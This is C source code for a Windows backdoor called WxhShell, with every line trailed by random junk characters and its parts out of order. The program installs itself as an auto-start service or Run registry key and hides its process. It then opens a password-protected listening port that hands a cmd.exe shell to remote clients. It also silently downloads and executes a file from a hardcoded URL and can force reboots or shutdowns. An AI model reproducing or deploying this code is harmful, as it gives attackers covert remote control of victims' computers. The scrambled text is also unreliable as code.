    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jED.0,+K !  
    if(Boot(SHUTDOWN)) gz[3xH~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *. |%uf.  
    else { C]5 kQ1Og  
    closesocket(wsh); -mRgB"8  
    ExitThread(0); v=lW5%r,'  
    } |%XTy7^a  
    break; XJ3sqcS  
    } ycc G>%>r  
  // 获取shell ] T]{VB  
  case 's': { Sm4BZF~!B  
    CmdShell(wsh); n^ fUKi*;  
    closesocket(wsh); I(pq3_9$  
    ExitThread(0); LPJ7V` !k  
    break; sV%DX5@  
  } =NC??e{  
  // 退出 P o@;PR=  
  case 'x': { I]e+5 E0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UiH7  
    CloseIt(wsh); +@3+WD  
    break; ;;+AdN5  
    } TMPk)N1Ka  
  // 离开 T Q4L~8  
  case 'q': { pl&nr7\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4{zy)GE|W  
    closesocket(wsh); >rEZ$h  
    WSACleanup(); qNj?Rwc  
    exit(1); 9c)#j&2?H  
    break; nD*iSb*  
        } qovsM M  
  } 65~E<)UJ  
  } PZ8,E{V  
,k4pW&A  
  // 提示信息 g_syGQ\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9!Mh (KtQ  
} ye$_=KARP  
  } [%dsq`b#  
[//i "Nm  
  return; wX]$xZ!s  
} e3;D1@  
{ac$4#Bp[B  
// shell模块句柄 lY tt|J  
int CmdShell(SOCKET sock) zG ='U  
{ {HEWU<5  
STARTUPINFO si; 8~C}0H  
ZeroMemory(&si,sizeof(si)); xE<H@@w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d[3me{Rs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o1(;"5MM  
PROCESS_INFORMATION ProcessInfo; e*}zl>f  
char cmdline[]="cmd"; ch0^g8@Q[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $"/l*H\h  
  return 0; [6mK<A,/  
} <9fXf*  
+S(# 7  
// 自身启动模式 ;`7~Q  
int StartFromService(void) 1 gjaTPwY  
{ \T_ZcV  
typedef struct Cst1nGPL  
{ / =6_2t#vA  
  DWORD ExitStatus; M,H8ZO:R  
  DWORD PebBaseAddress; [#gm[@d,  
  DWORD AffinityMask; 3?FY?Q[  
  DWORD BasePriority; K _VIk'RB  
  ULONG UniqueProcessId; Wu$ryX  
  ULONG InheritedFromUniqueProcessId; j "<?9/r  
}   PROCESS_BASIC_INFORMATION; 49*f=gpGj2  
R|qrK  
PROCNTQSIP NtQueryInformationProcess; {"Sv~L|J;  
i;%G Z8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hu<]*(lK%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wL),/i&<  
@QmN= X5  
  HANDLE             hProcess; O6y:e #0z  
  PROCESS_BASIC_INFORMATION pbi; ZiuD0#"!  
I*a@_EO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qLL rR,:  
  if(NULL == hInst ) return 0; 5CK\Z'c~!  
np^&cY]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G>vK$W$f N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _WWC8?6 U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [ft6xI  
3\m !  
  if (!NtQueryInformationProcess) return 0; }V] b4t  
y p{Dl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %W D^0U|  
  if(!hProcess) return 0; KU$,{Sn6@  
^oPFLez56  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =a,qRO  
dM^EYW  
  CloseHandle(hProcess); tdRvg7v,N%  
K]$PRg1| 3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y$7Ys:R~  
if(hProcess==NULL) return 0; #>aq'47j  
F;#$Q  
HMODULE hMod; bI0xI[#Q  
char procName[255]; A-4;$ QSm  
unsigned long cbNeeded; AAa7)^R  
>C_G~R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ich^*z(F$  
`G!HGzVx;j  
  CloseHandle(hProcess); bh5D}w  
z# &1>  
if(strstr(procName,"services")) return 1; // 以服务启动 ~ `}),aA  
:u9'ZHkZ  
  return 0; // 注册表启动 nQV0I"f]?]  
} {?lndBP<  
')q4d0B`"  
// 主模块 [r"Oi| 8I  
int StartWxhshell(LPSTR lpCmdLine) T=YVG@fm?  
{ fmK~?  
  SOCKET wsl; O'98OH+u  
BOOL val=TRUE; E'4Psx9: =  
  int port=0; Szt2 "AR  
  struct sockaddr_in door; AjEy@ /  
~ 3M4F^  
  if(wscfg.ws_autoins) Install(); 9Zd\6F,  
qZF&^pCF}  
port=atoi(lpCmdLine); Z4Q]By:/L  
} .045 Wuu  
if(port<=0) port=wscfg.ws_port; ?`e@ o?  
,&@GxiU  
  WSADATA data; G?@W;o)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N4,oO H~  
#b*4v&<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P9 HKev?y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8GW+:  
  door.sin_family = AF_INET;  &ox  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gk| % 4.  
  door.sin_port = htons(port); (<>??(VM  
 ^cw9Yjh6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;SI (5rS?  
closesocket(wsl); swZi O_85  
return 1; `w#VYs|k  
} KwHN c\\  
c! kr BS  
  if(listen(wsl,2) == INVALID_SOCKET) { (bv{1 7K  
closesocket(wsl); wG MhKZE  
return 1; #z>I =gl  
} F8<G9#%s\  
  Wxhshell(wsl); F-zIzzb&O  
  WSACleanup(); U - OD  
&,<,!j)Jr  
return 0; A^M]vk%dg  
>3D1:0Sg  
} )nf%S+KV  
d #1& "(   
// 以NT服务方式启动 @"NP`#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EpG9t9S9  
{ Gr\jjf`  
DWORD   status = 0; *w0|`[P+h  
  DWORD   specificError = 0xfffffff; uQH]  
V  H`_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D+;4|7s+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M2ex 3m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kOo  Vqu  
  serviceStatus.dwWin32ExitCode     = 0; : 8>zo  
  serviceStatus.dwServiceSpecificExitCode = 0; _4) t  
  serviceStatus.dwCheckPoint       = 0; Uv[a ~'  
  serviceStatus.dwWaitHint       = 0; sE&nEc  
/9kxDbj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bj4c_YBte  
  if (hServiceStatusHandle==0) return; ~l:Cj*6x8  
W=A0+t%XC  
status = GetLastError(); *:d ``L  
  if (status!=NO_ERROR) 2~hdJ/  
{ `^{G`es  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,=CipL9]  
    serviceStatus.dwCheckPoint       = 0; |)To 0Z  
    serviceStatus.dwWaitHint       = 0; 6R^F^<<  
    serviceStatus.dwWin32ExitCode     = status; 1J1Jp|j.  
    serviceStatus.dwServiceSpecificExitCode = specificError; {J1rjrPo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KB~1]cYMp  
    return; <-N eusx%  
  } )|v  du  
!QAndg{;D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )G/=3;!  
  serviceStatus.dwCheckPoint       = 0; MHWc~@R  
  serviceStatus.dwWaitHint       = 0; yxx_%9X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >CKa?N;  
} 0_je@p+$  
.(Ux1.0C  
// 处理NT服务事件,比如:启动、停止 &u|t{C#0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P\WHM(  
{ l+6@,TY1U  
switch(fdwControl) hb~d4J=S  
{ V9< E `C  
case SERVICE_CONTROL_STOP: b?0WA.[{  
  serviceStatus.dwWin32ExitCode = 0; Ke@Bf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0e"KdsA:<U  
  serviceStatus.dwCheckPoint   = 0; \4$Nx/@Q}  
  serviceStatus.dwWaitHint     = 0; o"RE4s\G~r  
  { @Z$fEG)9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J%ws-A?6rN  
  } R-n%3oh  
  return; Kg2@]J9m  
case SERVICE_CONTROL_PAUSE: W!8$:Ih_Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |af<2(d  
  break; n@@tO#!\  
case SERVICE_CONTROL_CONTINUE: <F_w4!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _`QMEr?  
  break; Th,]nVsGs~  
case SERVICE_CONTROL_INTERROGATE: wMF1HT<*  
  break; #F .8x@  
}; ArX*3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1:cq\Y  
} <5]_u:  
bU}!bol  
// 标准应用程序主函数 -,=)O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  H!y@.W{_  
{ )`5-rm~*  
D0f7I:i1  
// 获取操作系统版本 <C"}OW8  
OsIsNt=GetOsVer(); v/KTEM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Z"Kvj;>u  
uTbMp~cYB  
  // 从命令行安装 cEJ_z(\=hr  
  if(strpbrk(lpCmdLine,"iI")) Install(); E.VEW;=  
N9)ERW2`*  
  // 下载执行文件 bg4VHT7?>)  
if(wscfg.ws_downexe) { 8v;T_VN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N/^[c+J  
  WinExec(wscfg.ws_filenam,SW_HIDE); [MC}zd'/  
} y;9K  
~;I{d7z,;  
if(!OsIsNt) { A]V<K[9:b  
// 如果时win9x,隐藏进程并且设置为注册表启动 H<b4B$/  
HideProc(); E\}Q9, Z$  
StartWxhshell(lpCmdLine); >273V+dy  
} 78b9Sdi&  
else &zP\K~Nt  
  if(StartFromService()) gY=+G6;=<  
  // 以服务方式启动 ER$~kFE2yP  
  StartServiceCtrlDispatcher(DispatchTable);  93 `  
else qn\>(&  
  // 普通方式启动 H @E-=Ly  
  StartWxhshell(lpCmdLine); uqy~hY  
'Uo:b<  
return 0; n_] OYG>U  
} tQ?}x#J  
9Bmgz =8  
z!j`Qoh?V9  
)=D9L  
=========================================== Md m(xUs  
{la ^useg[  
0MzHr2?'P  
d}415 XA  
9zd)[4%=  
ln!KL'T]  
" mKq9mA"(E  
ck<4_?1]  
#include <stdio.h> )ZmE"  
#include <string.h> I3aEg  
#include <windows.h> ,9M \`6  
#include <winsock2.h> TT&!WbA-Hk  
#include <winsvc.h> g-(xuR^*  
#include <urlmon.h> AAl`bhx'n  
C ILk  
#pragma comment (lib, "Ws2_32.lib") ->#7_W  
#pragma comment (lib, "urlmon.lib") O "h+i>|l  
J<zg 'Jk^  
#define MAX_USER   100 // 最大客户端连接数 hQ8{ A7  
#define BUF_SOCK   200 // sock buffer !kKKJ~,;  
#define KEY_BUFF   255 // 输入 buffer $1@{Zz!S  
|$0/:*  
#define REBOOT     0   // 重启 ,zyrBO0 Eq  
#define SHUTDOWN   1   // 关机 EX5kF  
Ua3ERBX{  
#define DEF_PORT   5000 // 监听端口 %E!0,y,:  
XF$C)id2p  
#define REG_LEN     16   // 注册表键长度 1-[{4{R  
#define SVC_LEN     80   // NT服务名长度 [E/3&3  
wb9zJAsc  
// 从dll定义API jH G(d$h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^~I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QBo^{],  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); liB>~DVC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pV+;/y_  
Te13Af~  
// wxhshell配置信息 8UZE C-K  
struct WSCFG { }R'oAE}$  
  int ws_port;         // 监听端口 zC^Ib&gm>,  
  char ws_passstr[REG_LEN]; // 口令 - |'wDf?H  
  int ws_autoins;       // 安装标记, 1=yes 0=no \dMsv1\  
  char ws_regname[REG_LEN]; // 注册表键名 A| +{x4s`  
  char ws_svcname[REG_LEN]; // 服务名 2gv(`NKYE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &pAT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;g*6NzdA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,5*4%*n\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5-QXvw(TH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tpctz~ .  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KKzvoc?Bt  
sig_2;  
}; Tk:y>P!%a  
b +_E)4  
// default Wxhshell configuration G# C)]4[n  
struct WSCFG wscfg={DEF_PORT, L$Q+R'  
    "xuhuanlingzhe", ^eRuj)$5A  
    1, >4E,_`3N  
    "Wxhshell", 1XKk~G"D  
    "Wxhshell", g/J!U8W"  
            "WxhShell Service", 2S4z$(x3  
    "Wrsky Windows CmdShell Service", fYi!Z/Ck2  
    "Please Input Your Password: ", )wRD  
  1, )Fw)&5B!  
  "http://www.wrsky.com/wxhshell.exe", 8FITcK^  
  "Wxhshell.exe" Y4O L 82Y  
    }; GS H{1VS_b  
2o/`8+eJu  
// 消息定义模块 d w|0K+-PH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,L;vN6~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `dZ|}4[1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e{,/  
char *msg_ws_ext="\n\rExit."; '3Ie0QO]"%  
char *msg_ws_end="\n\rQuit."; pS \>X_G3  
char *msg_ws_boot="\n\rReboot..."; ^xwFjQXx  
char *msg_ws_poff="\n\rShutdown..."; Xn=fLb(  
char *msg_ws_down="\n\rSave to "; i]z i[Zo$  
?+\,a+46P_  
char *msg_ws_err="\n\rErr!"; ,Mc 2dhq  
char *msg_ws_ok="\n\rOK!"; ap~Iz  
as4NvZ@+r  
char ExeFile[MAX_PATH]; \t@`]QzG:  
int nUser = 0; xJhbGK  
HANDLE handles[MAX_USER]; wrU[#g,uvr  
int OsIsNt; A2d2V**Z  
M jTKM;  
SERVICE_STATUS       serviceStatus; v2{s2kB=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }[`?#`sW  
{ )qP34rM  
// 函数声明 "_j7kYAl  
int Install(void); )[*O^bPowI  
int Uninstall(void); f,>i%.  
int DownloadFile(char *sURL, SOCKET wsh); =jt_1L4  
int Boot(int flag); VHCzlg  
void HideProc(void);  /GUuu  
int GetOsVer(void); lv*uXg.k^  
int Wxhshell(SOCKET wsl); $4L3y uH  
void TalkWithClient(void *cs); F.D1;,x  
int CmdShell(SOCKET sock); m 9@n  
int StartFromService(void); I:<R@V<~#  
int StartWxhshell(LPSTR lpCmdLine); ,IE0+!I  
Ui!|!V-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;r"B?]JO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V bOLTc  
&NeY Kh?  
// 数据结构和表定义 ^^l"brPa  
SERVICE_TABLE_ENTRY DispatchTable[] = dy?|Q33Y"  
{ GTl(i*  
{wscfg.ws_svcname, NTServiceMain}, ZF (=^.gc  
{NULL, NULL} C/Bx_j((  
}; |LE++t*X~  
Po. BcytM  
// 自我安装 8{ %9%{  
int Install(void) :0/o?'s  
{ }9 2lr87  
  char svExeFile[MAX_PATH]; Gw^=kzh  
  HKEY key; a&Du5(r;!  
  strcpy(svExeFile,ExeFile); $ n[7  
PM!t"[@&  
// 如果是win9x系统,修改注册表设为自启动 {NgY8w QB  
if(!OsIsNt) { h##?~!xDmq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BrMp_M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JBAK*g  
  RegCloseKey(key); M|e n>P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .BDRD~kB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J&65B./mD9  
  RegCloseKey(key); 9R"N#w.U]  
  return 0; }IkEyJsk  
    } @i-@mxk6<  
  } )wv[!cYyW  
} ~{Rt4o _W  
else { X3iRR{< @  
E/$@ud|l"  
// 如果是NT以上系统,安装为系统服务 B\ >}X_\4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]{+M>i[  
if (schSCManager!=0) xh^ZI6L<  
{ ?V:]u 3  
  SC_HANDLE schService = CreateService qS}RFM5|  
  ( %aE7id>v6  
  schSCManager, ur,"K' w  
  wscfg.ws_svcname, m3Z}eC8LK  
  wscfg.ws_svcdisp, #r^@*<{^  
  SERVICE_ALL_ACCESS, J~'Q^O3@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , as |c`4r\O  
  SERVICE_AUTO_START, B "F`OS[  
  SERVICE_ERROR_NORMAL, Yn]y d1  
  svExeFile, ;4v}0N~.  
  NULL, ) a\DS yr  
  NULL, gXLZ)>+A+  
  NULL, :Z]hI+7  
  NULL, 3et2\wOX1x  
  NULL ~eOj:H  
  ); sa(M66KkU  
  if (schService!=0) 6O@ ^`T  
  { Fp6[W5>(-  
  CloseServiceHandle(schService); *5_ 8\7d  
  CloseServiceHandle(schSCManager); m/c&/6nk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9eN2)a/  
  strcat(svExeFile,wscfg.ws_svcname); :;*#Qh3"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B 6'%J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5v>{Z0TE[6  
  RegCloseKey(key); VfA5r`^  
  return 0; dMs39j  
    } ]1|Ql*6y,  
  } h[ZN >T  
  CloseServiceHandle(schSCManager); xAd>",=~  
} 6:@t=C  
} : Nj`_2  
 2H K  
return 1; Rp`_Grcd  
} q>|[JJ*6_N  
H,XLb.  
// 自我卸载 ci_v7Jnwo  
int Uninstall(void) q4.dLU,1  
{ U_}A{bFG  
  HKEY key; mQ ^ @ \s  
?y*+^E0  
if(!OsIsNt) { .xLF}{u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 97]a-)SA  
  RegDeleteValue(key,wscfg.ws_regname); Il^ \3T+  
  RegCloseKey(key); [#>$k 6F*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w^due P7J  
  RegDeleteValue(key,wscfg.ws_regname); qzH qj;  
  RegCloseKey(key); Z?~d']XD  
  return 0; 4I#eC#"  
  } C>:/(O  
} Yf!*OGF  
} J%\~<_2ny  
else { l\=-+'Y  
SA(UD   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nr]8P/[~  
if (schSCManager!=0) pe!dm}!h[  
{ o1#:j?sN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n(Q\' ,C  
  if (schService!=0) ,h@R' f !  
  { &G pA1  
  if(DeleteService(schService)!=0) { WBw M;S#%  
  CloseServiceHandle(schService); Xb<DpBrk  
  CloseServiceHandle(schSCManager); ie$`pyj!x  
  return 0; G+hF [b44'  
  } c>R`jb@$N  
  CloseServiceHandle(schService); )@<HCRQ'q  
  } WG8iTVwx  
  CloseServiceHandle(schSCManager); q4 Oxs  
} .B 85!lCF  
} Vedyy\TU  
jNe(w<',P  
return 1; 3qAwBVWa  
} Q$|^~  
lJ:M^.Em0  
// 从指定url下载文件 G%7 4v|cd  
int DownloadFile(char *sURL, SOCKET wsh) pK6e/eC  
{ /B,:<&_-  
  HRESULT hr; 4-7kS85  
char seps[]= "/"; uq!;  
char *token; I #M%%5e  
char *file; I!$jYY2  
char myURL[MAX_PATH]; Ka]J^w;a  
char myFILE[MAX_PATH]; E\]OySC%C$  
XMN?;Hj>  
strcpy(myURL,sURL); kgbobolA  
  token=strtok(myURL,seps); &jV9*  
  while(token!=NULL) ;dqk@@O"(  
  { uFwU-LCe  
    file=token; c Ndw9?Z  
  token=strtok(NULL,seps); x],8yR)R  
  } 2qZa9^}  
)p$\gwr=2  
GetCurrentDirectory(MAX_PATH,myFILE); w`c0a&7  
strcat(myFILE, "\\"); 7$!`p,@we/  
strcat(myFILE, file); Ni2]6U  
  send(wsh,myFILE,strlen(myFILE),0); ?xtt7*'D  
send(wsh,"...",3,0); `6a]|7|f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xw7{R  
  if(hr==S_OK) t6'61*)|0  
return 0; Yv)Bj  
else _Kc 1  
return 1; T)WZ_bR  
Y%<`;wK=^  
} v~ ^ks{  
1<xcMn0et  
// 系统电源模块 z 0~j  
int Boot(int flag) %mY|  
{ `1nRcY  
  HANDLE hToken;  f>.4-a?  
  TOKEN_PRIVILEGES tkp; \'n$&PFe  
{5T0RL{\N  
  if(OsIsNt) { [NYj.#,oR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <"* "1(wN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p/r~n'g$  
    tkp.PrivilegeCount = 1; CN$I:o04C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }qer   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ?qk@cKS  
if(flag==REBOOT) { yZq?B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B;VH`*+X  
  return 0; hlX>K  
} S8\+XJ  
else { {tPnj_|n<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S[v Rw]*  
  return 0; m&Lt6_vi  
} @4;&hP2Z:  
  } Osnyd+dJY  
  else { :Df)"~/mO+  
if(flag==REBOOT) { #C4|@7w%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F&xv z2G  
  return 0; _*Pfp+if  
} &]w#z=5SXi  
else { y =R aJm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |V lMma z  
  return 0;  L#n}e7Y9  
} !~WZ_z  
} @|DmE!)  
u=%y  
return 1; 0A.PD rM:  
} !Q!&CG5l  
qmEoqU  
// win9x进程隐藏模块 =nzFd-P  
void HideProc(void) h6g:(3t6m  
{ `4LJ;KC(  
{gsW(T>)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jz0K}^Dj[  
  if ( hKernel != NULL ) T8U[xu.>  
  { _ \l HI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !nwbj21%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NEMEY7De2  
    FreeLibrary(hKernel); @l{I[pp  
  } v;Es^ YI  
>PIPp7C  
return; p'}lN|"{O  
} [m\,+lG?)j  
0(8gQ 2n  
// 获取操作系统版本 M|k&TTV  
int GetOsVer(void) ehE-SrkU'  
{ MI\]IQU  
  OSVERSIONINFO winfo; y:.?5KsPI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pg Syt  
  GetVersionEx(&winfo); AF GwT%ZD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )!eEO [\d  
  return 1; 9<l-NU9 _  
  else |<rfvsQ.  
  return 0; g2=}G<*0  
} E67XPvo1+@  
B9*Sfw%  
// 客户端句柄模块 p.C1nh  
int Wxhshell(SOCKET wsl) aM$=|%9/  
{ gLD{1-v  
  SOCKET wsh; yp p4L|R  
  struct sockaddr_in client; oIb) Rq!m  
  DWORD myID; )|RZa|`-G  
5mavcle{4r  
  while(nUser<MAX_USER) j&CZ=?K^c  
{ VhvTBo<cw  
  int nSize=sizeof(client); P>wZ~Hjk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {2:d` fqD  
  if(wsh==INVALID_SOCKET) return 1; W`x)=y]Z  
C_G1P)k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4.Z(:g  
if(handles[nUser]==0) o@3B(j;J`  
  closesocket(wsh); p+[} Hxx=  
else /cfHYvnz  
  nUser++; $)*xC!@6X  
  } gI{ =0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f=m/ -mAA  
[))JX"a  
  return 0; &z>q#'X;.  
} JYV\oV{  
tpo>1|  
// 关闭 socket k 4B_W  
void CloseIt(SOCKET wsh) p=B?/Sqa  
{ KjOi(YUnq7  
closesocket(wsh); RZh}:  
nUser--; N09KVz2Q  
ExitThread(0); 0`n 5x0R  
} ~ziexZ=N  
hnzNP\$U]  
// 客户端请求句柄 b_vTGl1_6  
void TalkWithClient(void *cs) lKWr=k~  
{ lzDdD3Ouc  
s.:r;%a  
  SOCKET wsh=(SOCKET)cs; ,I`_F,  
  char pwd[SVC_LEN]; 2~FPw{]j  
  char cmd[KEY_BUFF]; |<(t}}X  
char chr[1]; J8;Okzb!L  
int i,j; jczq `yW  
0 d4cE10  
  while (nUser < MAX_USER) { ~@P)tl>  
w>vH8f  
if(wscfg.ws_passstr) { N9]xJgTze  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ETp'oh}?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rp/-Pv   
  //ZeroMemory(pwd,KEY_BUFF); U$'y_}V  
      i=0; 5pJ*1pfeo  
  while(i<SVC_LEN) { l^r' $;<m  
t5) J;0/  
  // 设置超时 2EfflZL3  
  fd_set FdRead; r1Z<:}ZwK  
  struct timeval TimeOut; H/J<Pd$p  
  FD_ZERO(&FdRead); a)S7}0|R  
  FD_SET(wsh,&FdRead); maDz W_3  
  TimeOut.tv_sec=8; Km*<Kfcz  
  TimeOut.tv_usec=0; hZN<Yd8:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " H1:0p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =.b Y#4  
l~1AT%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A]?^ H<  
  pwd=chr[0]; xR908+>5  
  if(chr[0]==0xd || chr[0]==0xa) { @!\K>G >9[  
  pwd=0; &p"(-  
  break; Bq!cY Wj  
  } gj+3y9  
  i++; y $V[_TN  
    } ~>%DKJe  
1V%'.l9  
  // 如果是非法用户,关闭 socket Gzm$OHbn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .7Kk2Y  
} 1S%}xsR0  
>5Lexj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x~/+RF XF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \FifzKA  
"l,UOv c  
while(1) { T=\!2gt  
',mW`ZN  
  ZeroMemory(cmd,KEY_BUFF); 0ar=cuDm  
(ZPXdr  
      // 自动支持客户端 telnet标准   <k]qH-v4  
  j=0; 7GZq|M_:y  
  while(j<KEY_BUFF) { zk=\lp2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U:lv^ QPG  
  cmd[j]=chr[0]; 5 09Q0 [k  
  if(chr[0]==0xa || chr[0]==0xd) { wUp)JI  
  cmd[j]=0; T9)wj][ .  
  break; }<[Db}?9  
  } X+ f9q0  
  j++; \*"`L3  
    } TzM=LvA  
Eark)  
  // 下载文件 /EFq#+6  
  if(strstr(cmd,"http://")) { :oa9#c`L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); % vS8?nG  
  if(DownloadFile(cmd,wsh)) 1D{#rA.X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Alz~-hqQ  
  else 0BTLcEqgZ  
